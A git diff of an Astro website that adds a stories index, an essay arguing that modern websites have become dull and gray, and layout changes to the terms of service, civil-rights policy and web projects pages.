+import Scripts from '../../layouts/Scripts.astro';
+import CardPage  from '../../layouts/CardPage.astro';
+import Navbar from '../../components/Navbar.astro';
+import Footer from '../../components/Footer.astro';
+import BackToTop from '../../components/BackToTop.astro';
+---
+
+<Head title="Stories" description="Read about AT Products' stories related to Informational Technology." keywords="AT Products, Ethical Hacking Society, The Script Community, AT Products LLC, ATproducts" author="Alex Toucan" 
+bulletin={[
+  { bulletinImage: "3YEAR.webp" },
+  { bulletinImage: "220-101024-1.webp" },
+  { bulletinImage: "220-101024-2.webp" },
+  { bulletinImage: "220-101024-3.webp" },
+  { bulletinImage: "220-101024-4.webp" },
+]} />
+<div id="page">
+  <Navbar />
+  <div id="main-content">
+    <main id="stories" class="text-center">
+      <CardPage id="stories" title="Stories" description="Read about our stories about IT!" size="md"
+        cardLinks={[
+          { cardTitle: "CCTV Interception", cardDescription: "Learn about how to intercept CCTV for <strong>educational purposes</strong>.", cardHref: "cctv" },
+          { cardTitle: "How to Center a <div>", cardDescription: "Learn about how to center a <code>&lt;div&gt;</code> in HTML and CSS.", cardHref: "div" },
+          { cardTitle: "The Internet Now is Dull and Gray", cardDescription: "Take a peak on how Alex Toucan feels about how websites are design in the modern world.", cardHref: "websites" },
+        ]} 
+      />
+    </main>
+    <Footer hr="none" marginTop="true" />
+  </div>
+  <BackToTop />
+</div>
+<Scripts index="true" />
diff --git a/src/pages/stories/websites.astro b/src/pages/stories/websites.astro
new file mode 100644
index 000000000..2bf4a6b20
--- /dev/null
+++ b/src/pages/stories/websites.astro
@@ -0,0 +1,94 @@
+---
+import Head from '../../layouts/Head.astro';
+import Navbar from '../../layouts/stories/Navbar.astro';
+import Scrollspy from '../../layouts/stories/Scrollspy.astro';
+import Scripts from '../../layouts/Scripts.astro';
+import BackToTop from '../../components/BackToTop.astro';
+---
+
+<Head title="The Internet Now is Dull and Gray" description="AT Products LLC's Bookviewer presents 'The Internet Now is Dull and Gray'!" author="Alex Toucan" />
+<div id="page">
+  <Navbar pageTitle="The Internet Now is Dull and Gray" />
+  <div id="main-content">
+    <Scrollspy id="websites" 
+      scrollcontent={[ 
+        { name: "Main Content" , href: "#content" }, 
+        { name: "Sources" , href: "#sources" }, 
+      ]} 
+    >
+      <Fragment slot="scrollspy-content">
+        <div id="intro" class="story-top-scroll">
+          <h1>The Internet Now is Dull and Gray</h1>
+          <h5><b>Made by:</b> <a href="https://other.atproducts.xyz/portfolio/">Alex Toucan</a>.</h5>
+          <h5><b>Published by:</b> <a href="/">AT Products LLC</a>.</h5>
+          <h5><b>Published on:</b> October 23rd, 2024.</h5>
+          <hr>
+        </div>
+        <div id="content" class="tab">
+          <p>    The internet is a big place, full of identity that audiences love; as the internet evolved, however, the internet became dull and the audiences’ opinions changed. The internet is full of content called websites that contain multiple purposes and do tons of things. The internet was getting bigger, especially in the early 1990s, and it was a colorful haven that attracted kids' attention. Back then, all those 30 years ago, websites were more colorful, creative, and full of content and interactivity, which audiences liked; now, it is a bunch of black-and-white shades with basic-looking components; they lost their shine, which audiences dislike. The shift from more color to less in websites, reduced appeal for select audiences, which could include the young and mature.</p>
+          <p>    Websites are fairly recent in their creation, only in the early 1990s; they are a network space that conveys ideas to a general audience. Websites and the internet have existed since the early 1990s, which at the time, were mostly owned by companies that were aware that the internet could be a better future, bringing them more advantages. Websites were basic when the internet was first created all those 30 years ago, as it was mostly HTML, or Hypertext Markup Language, with little to no styling. Examples of old sites are <a href="https://www.pizzahut.com/assets/pizzanet/home.html">Pizza Hut’s Santa Cruz delivery site, or “PizzaNet”</a> (1993) <a href="#source-1" class="fw-bold">[1]</a>, which contains no styling. However, CSS (Cascading Style Sheets), and JS (JavaScript), would come not soon after, creating a whole new world of possibilities for styling, making websites look more detailed and colorful. As websites continued throughout the years, in the early 2010s, they tended to return to a basic, dull yet modern design, losing their shine. As devices evolved, the responsiveness in mobile devices was becoming more in demand; it resulted in a more “modern” refresh in most sites, which resulted in less engaging designs. In the 30 years of existence that websites had, they went from basic to shiny and back to basic.</p>
+          <p>    Websites have changed a lot within a third of a century, but how did their main target, the primary reason the internet was created, their audience perceived these design changes? Website developers were meant to go wild with their imagination, attracting audiences, as Grimes explains in an article, directed towards designers “...turning complex information into experiences that draw in audiences and amplify your message’s impact. Ditch the confusion, embrace the clarity, and let your insights shine” (18) <a href="#source-2" class="fw-bold">[2]</a>. Some websites were targeted at a younger audience, and as a way to attract their attention, a bunch of colors were used. Could websites be losing that attention that kids once had given them by choosing a design that drives their attention away? Kids love animations and color, as a guide on explaining how designers should design children’s websites states “Animation, sound, and large colorful graphics are favored by children, while the same elements are generally ones to be avoided when constructing an information site for adult users” (Blower et. al 25) <a href="#source-3" class="fw-bold">[3]</a>. Nickelodeon had a bunch of glossy, colorful elements, where users could also download software such as screensavers and games, an example would be in <a href="https://web.archive.org/web/2000/https://spongebob.com">2000 (Nickelodeon)</a> <a href="#source-4" class="fw-bold">[4]</a>. A less big example, <a href="https://web.archive.org/web/2000/https://spongebob.com">YouTube (for this example, 2005)</a>, a major video streaming platform founded in 2005, had once a ton of color and allowed creators to personalize pages to have more than a simple black-and-white template, as shown in the snapshot (YouTube) <a href="#source-5" class="fw-bold">[5]</a>. As of 2024, it is now a bunch of black and white, with the only exceptions being their logo and their thumbnails, or cover photos. YouTube is only an example of what younger audiences like, as social media also followed the same trend as YouTube's (owned by Google) set. Some websites were for mature audiences, but they still had attempted ways to drive attention to them, this could apply to politics or crime, which is for mature audiences. One of these examples in politics was <a href="https://web.archive.org/web/20240623123818/https://dolekemp96.org">Bob Dole in 1996</a>, this site features a bunch of colors and attention to detail with shapes to attract attention from voters. Although Bob Dole lost the election in 1996, it still stood as an example of what political advertisements used to look like back then <a href="#source-6" class="fw-bold">[6]</a>. Candidate websites in 2024 still have a few elements of color, but basic shapes are more dull than they used to be. Crime websites such as <a href="https://web.archive.org/web/20240623123818/https://www.cnn.com/US/OJ/">OJ Simpson by CNN in 1996</a>, showed images to convey information and it worked to grab the attention of the general public <a href="#source-7" class="fw-bold">[7]</a>. Websites, no matter their audience, still attempt or target a group of audiences with colorful, glossy, or shiny, elements, and it worked.</p>
+          <p>    The ways websites are designed from now and then 30 years ago, are very different, yet have different ways to grab the attention of their audiences. Some websites were colorful and attention-grabbing back then, but some are no longer having those qualities. As websites became modern and attempted to be responsive to mobile devices, they chose less engaging designs. Audiences simply prefer colorful, detailed elements, which are no longer being used in websites in today’s world.</p>
+        </div>
+        <div id="sources" class="story-top-scroll">
+          <h2>Sources</h2>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-1">[1]</div>
+            <div class="col">
+              Pizza Hut. "Homepage." Pizza Hut, <a class="text-wrap" href="https://www.pizzahut.com/assets/pizzanet/home.html">https://www.pizzahut.com/assets/pizzanet/home.html</a>. Accessed 22 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-2">[2]</div>
+            <div class="col">
+              Grimes, Jennifer. “Convert Data Into Powerful Visual Stories.” <i>TD: Talent Development</i>, vol. 78, no. 10, Oct. 2024, pp. 18–20. EBSCOhost, <a class="text-wrap" href="https://search.ebscohost.com/login.aspx?direct=true&db=aph&AN=180065090&site=ehost-live">search.ebscohost.com/login.aspx?direct=true&db=aph&AN=180065090&site=ehost-live</a>. Accessed 15 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-3">[3]</div>
+            <div class="col">
+              Blowers, Helene, and Rbin Bryan. “Weaving a Library Web: A Guide to Developing Children’s Websites.” <i>Library Mosaics</i>, vol. 15, no. 6, Nov. 2004, p. 25. EBSCOhost, <a class="text-wrap" href="jttps://search.ebscohost.com/login.aspx?direct=true&db=aph&AN=15157054&site=ehost-live">search.ebscohost.com/login.aspx?direct=true&db=aph&AN=15157054&site=ehost-live</a>. Accessed 15 October 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-4">[4]</div>
+            <div class="col">
+              Nickelodeon. "SpongeBob SquarePants." <i>Nickelodeon</i>, archived by <i>Internet Archive</i>, 2000, <a class="text-wrap" href="https://web.archive.org/web/2000/https://spongebob.com">web.archive.org/web/2000/https://spongebob.com</a>. Accessed 22 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-5">[5]</div>
+            <div class="col">
+              YouTube. "Homepage." YouTube, archived by <i>Internet Archive</i>, 2006, <a class="text-wrap" href="https://web.archive.org/web/2006/https://youtube.com">web.archive.org/web/2006/https://youtube.com</a>. Accessed 22 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-6">[6]</div>
+            <div class="col">
+              Dole/Kemp '96 Campaign. "Dole/Kemp '96." <i>Dole/Kemp '96</i>, archived by <i>Internet Archive</i>, August 2, 1996, <a class="text-wrap" href="https://web.archive.org/web/20240623123818/https://dolekemp96.org">web.archive.org/web/20240623123818/https://dolekemp96.org</a>. Accessed 22 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-7">[7]</div>
+            <div class="col">
+              CNN. "US News: OJ Trial." CNN, archived by <i>Internet Archive</i>, Oct. 1996, <a class="text-wrap" href="https://web.archive.org/web/20240623123818/https://www.cnn.com/US/OJ/">web.archive.org/web/20240623123818/https://www.cnn.com/US/OJ/</a>. Accessed 22 Oct. 2024.
+            </div>
+          </div>          
+        </div>
+        <hr>
+        <div id="copyright">
+          <h6>&reg; AT Products (LLC) 2019-<script is:inline src="/static/year.js"></script></h6>
+          <h6>AT Products LLC is the publisher and copyright holder of this article/story.</h6>
+        </div>
+      </Fragment>
+    </Scrollspy>
+  </div>
+  <BackToTop />
+</div>
+<Scripts />
diff --git a/src/pages/terms.astro b/src/pages/terms.astro
index b4171b826..7c1d92aa2 100644
--- a/src/pages/terms.astro
+++ b/src/pages/terms.astro
@@ -1,47 +1,49 @@
 ---
 import Head from '../layouts/Head.astro';
 import Scripts from '../layouts/Scripts.astro';
-import Navbar    from '../components/Navbar.astro';
-import Footer    from '../components/Footer.astro';
+import Navbar from '../components/Navbar.astro';
+import Footer from '../components/Footer.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
 
 <Head title="Terms of Service" description="View our Terms of Services to understand our guidelines." author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="tos" class="container">
-    <h1 class="title"> Terms of Service </h1>
-    <h5> Last Updated: <time>April 2nd, 2024</time>. </h5>
-    <h5> Into Effect: <time>April 3rd, 2024</time>. </h5>
-    <div id="disclaimer">
-      <p class="my-3">
-        <i>These terms are not meant to be confused with the <a href="/paidterms">Paid Services &amp; Website Creation Policies and Terms</a>. These terms are for using the website in other manners. </i>
-      </p>
-    </div>
-    <div id="definitions">
-      <h3> Definitions </h3>
-        <p>   <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
-        <br> <b>Website:</b> <a href="https://atproducts.xyz">atproducts.xyz</a>
-        <br> <b>Products:</b> Flash Documentation, MDickie Projects, and SMS Bomb. <br>
-        <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
-      </p>
-    </div>
-    <div id="general-tos">
-      <h3>I: General Terms of Service </h3>
-      <p> You take responsibility, therefore any activity resulting from Your device on our Website is also Your responsibility. All files should be carefully advised to be looked through by an anti-virus, or code editor before using, since confusion for what file You are using can occur. Any virus should be downloaded on a virtual machine and tested on said virtual machine, we are not responsible for any damage caused by our code to Your or anyone's device. <br>
-        <br> Any illegal activity is strictly prohibited in our files. Our files are intended for personal and/or educational use only. Any use of our files for illegal activities will result in immediate termination of all AT Products (including subsidiary) services. Depending on the severity and impact of the illegal activity, it may also lead to IP termination. We strictly adhere to the Computer Fraud and Abuse Act (CFAA) and the Electronic Communications Protection Act (ECPA). Therefore, ethical hacking practices must be maintained at all times, whether within a Discord server or elsewhere. Users are prohibited from distributing malware, participating in DDoS attacks, spreading worms, ransomware, or any other form of virus or hacking files. <br>
-        <br> Discord history may apply if banned on that one server may prohibit that one part on the ATP Database. If banned through all servers, then the whole database will be locked. <a href="/discord">Follow our own Discord Rules to use our Discord Servers</a>. <br>
-        <br> Copyright action may be taken if You claim what is not Yours, any file will be copyrighted by us unless labeled so otherwise. Copyright holder for The Script Community, Ethical Hacking Society, CodingHome, Noodle Hackerspace, and Flash Documentation is AT Products. Fair Use Act is allowed to ask us for permission if it is modified and if You want to claim that said file. Some of our files do not have a creator attached to them, incorrectly claim it is Yours and disciplinary action will be taken against You.
-      </p>
-    </div>
-    <div id="acceptance">
-      <h3> II: Acceptance</h3>
-      <p> Upon visiting our Website, You signify Your agreement to the following terms. If You violate any section of the Terms of Service, we reserve the right to revoke Your privileges and ability to use what we provide of Services and Servers. <br>
-        <br> We reserve the right, at our sole discretion, to modify or replace the Terms of Service at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new rules take effect. A sufficient revision is determined at our sole discretion.
-      </p>
-    </div>
-  </main>
-  <Footer />
+  <div id="main-content">
+    <main id="terms" class="container">
+      <h1 class="title"> Terms of Service </h1>
+      <h5> Last Updated: <time>April 2nd, 2024</time>. </h5>
+      <h5> Into Effect: <time>April 3rd, 2024</time>. </h5>
+      <div id="disclaimer">
+        <p class="my-3">
+          <i>These terms are not meant to be confused with the <a href="/paidterms">Paid Services &amp; Website Creation Policies and Terms</a>. These terms are for using the website in other manners. </i>
+        </p>
+      </div>
+      <div id="definitions">
+        <h3> Definitions </h3>
+          <p>   <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
+          <br> <b>Website:</b> <a href="https://atproducts.xyz">atproducts.xyz</a>
+          <br> <b>Products:</b> Flash Documentation, MDickie Projects, and SMS Bomb. <br>
+          <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
+        </p>
+      </div>
+      <div id="general-tos">
+        <h3>I: General Terms of Service </h3>
+        <p> You take responsibility, therefore any activity resulting from Your device on our Website is also Your responsibility. All files should be carefully advised to be looked through by an anti-virus, or code editor before using, since confusion for what file You are using can occur. Any virus should be downloaded on a virtual machine and tested on said virtual machine, we are not responsible for any damage caused by our code to Your or anyone's device. <br>
+          <br> Any illegal activity is strictly prohibited in our files. Our files are intended for personal and/or educational use only. Any use of our files for illegal activities will result in immediate termination of all AT Products (including subsidiary) services. Depending on the severity and impact of the illegal activity, it may also lead to IP termination. We strictly adhere to the Computer Fraud and Abuse Act (CFAA) and the Electronic Communications Protection Act (ECPA). Therefore, ethical hacking practices must be maintained at all times, whether within a Discord server or elsewhere. Users are prohibited from distributing malware, participating in DDoS attacks, spreading worms, ransomware, or any other form of virus or hacking files. <br>
+          <br> Discord history may apply if banned on that one server may prohibit that one part on the ATP Database. If banned through all servers, then the whole database will be locked. <a href="/discord">Follow our own Discord Rules to use our Discord Servers</a>. <br>
+          <br> Copyright action may be taken if You claim what is not Yours, any file will be copyrighted by us unless labeled so otherwise. Copyright holder for The Script Community, Ethical Hacking Society, CodingHome, Noodle Hackerspace, and Flash Documentation is AT Products. Fair Use Act is allowed to ask us for permission if it is modified and if You want to claim that said file. Some of our files do not have a creator attached to them, incorrectly claim it is Yours and disciplinary action will be taken against You.
+        </p>
+      </div>
+      <div id="acceptance">
+        <h3> II: Acceptance</h3>
+        <p> Upon visiting our Website, You signify Your agreement to the following terms. If You violate any section of the Terms of Service, we reserve the right to revoke Your privileges and ability to use what we provide of Services and Servers. <br>
+          <br> We reserve the right, at our sole discretion, to modify or replace the Terms of Service at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new rules take effect. A sufficient revision is determined at our sole discretion.
+        </p>
+      </div>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/titleiiandvii.astro b/src/pages/titleiiandvii.astro
index 8ddadebcd..8beb40cf5 100644
--- a/src/pages/titleiiandvii.astro
+++ b/src/pages/titleiiandvii.astro
@@ -9,22 +9,24 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="Title II & VII Policy" description="View our Title II & VII Policy to understand your rights!" author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="titleiivii" class="container">
-    <h1 class="title"> Title II & VII Policy </h1>
-    <h5> Last Updated: <time>August 21st, 2023</time>. </h5>
-    <h5> Into Effect: <time>August 21st, 2023</time>. </h5>
-    <p class="my-3">
-      <i>Our only current active volunteering service is the <a href="https://beta-testing.atproducts.xyz">Department of Beta Testing</a>. No current employment opportunities is being offered.</i>
-    </p>
-    <p class="my-3">
-      <i>All of these titles refer to the <a href="https://www.archives.gov/milestone-documents/civil-rights-act">Civil Rights Act of 1964</a>. </i>
-    </p>
-    <h3>Title II Policy</h3>
-    <p> It is the policy of AT Products LLC that all customers, partners, etc. shall not be discriminated against due to sex, race, color, national origin, religion, or handicap and that no customer or any other person will be subject to discrimination.</p>
-    <h3>Title VII Policy</h3>
-    <p> It is the policy of AT Products LLC that all employment and volunteering opportunities will be offered without regard to sex, race, color, national origin, religion, or handicap and that no employee, volunteer, or any other person will be subject to discrimination. We will accommodate religious practices dependent on employees and volunteers.</p>
-  </main>
-  <Footer />
+  <div id="main-content">
+    <main id="titleiivii" class="container">
+      <h1 class="title"> Title II & VII Policy </h1>
+      <h5> Last Updated: <time>August 21st, 2023</time>. </h5>
+      <h5> Into Effect: <time>August 21st, 2023</time>. </h5>
+      <p class="my-3">
+        <i>Our only current active volunteering service is the <a href="https://beta-testing.atproducts.xyz">Department of Beta Testing</a>. No current employment opportunities is being offered.</i>
+      </p>
+      <p class="my-3">
+        <i>All of these titles refer to the <a href="https://www.archives.gov/milestone-documents/civil-rights-act">Civil Rights Act of 1964</a>. </i>
+      </p>
+      <h3>Title II Policy</h3>
+      <p> It is the policy of AT Products LLC that all customers, partners, etc. shall not be discriminated against due to sex, race, color, national origin, religion, or handicap and that no customer or any other person will be subject to discrimination.</p>
+      <h3>Title VII Policy</h3>
+      <p> It is the policy of AT Products LLC that all employment and volunteering opportunities will be offered without regard to sex, race, color, national origin, religion, or handicap and that no employee, volunteer, or any other person will be subject to discrimination. We will accommodate religious practices dependent on employees and volunteers.</p>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/web.astro b/src/pages/web.astro
index 0cbb862db..79f495d07 100644
--- a/src/pages/web.astro
+++ b/src/pages/web.astro
@@ -9,16 +9,19 @@ import BackToTop from '../components/BackToTop.astro';
 
 <Head title="Web Projects" heroid="web" description="View our web projects." keywords="AT Products, Ethical Hacking Society, The Script Community, AT Products LLC, ATproducts" author="Alex Toucan" />
 <div id="page">
-<Navbar />
+  <Navbar />
+  <div id="main-content">
   <main id="web" class="text-center"> 
-    <CardPage id="web" title="Web Projects" size="md"
-      cardLinks={[
-      { cardTitle: "Flash Documentation", cardDescription: "Here are some things about Adobe Flash!", cardImage: "/media/images/flashdoc.webp", cardHref: "/flash", secondaryHref: "/backup/flash" },
-      { cardTitle: "MDickie Projects", cardDescription: "This is a fanmade site about what MDickie has developed since the 1990s!", cardImage: "/media/images/mdickiepro.webp", cardHref: "/mdickie", additionalImageClasses: "p-1" },
-      ]} 
-    />
-  </main>
-<Footer hr="none" marginTop="true" />
-<BackToTop />
+      <CardPage id="web" title="Web Projects" size="lg"
+        cardLinks={[
+          { cardTitle: "Flash Documentation", cardDescription: "Here are some things about Adobe Flash!", cardImage: "/media/images/flashdoc.webp", cardHref: "/flash", secondaryHref: "/backup/flash" },
+          { cardTitle: "MDickie Projects", cardDescription: "This is a fanmade site about what MDickie has developed since the 1990s!", cardImage: "/media/images/mdickiepro.webp", cardHref: "/mdickie", additionalImageClasses: "p-1" },
+          { cardTitle: "AT's ROM Games", cardDescription: "A <strong>discontinued</strong> collection of ROMs from back in 2021!", cardImage: "/media/images/AT-ROM-Games-with-logo.webp", cardHref: "/roms", additionalImageClasses: "p-1" },
+        ]} 
+      />
+    </main>
+    <Footer hr="none" marginTop="true" />
+  </div>
+  <BackToTop />
 </div>
 <Scripts />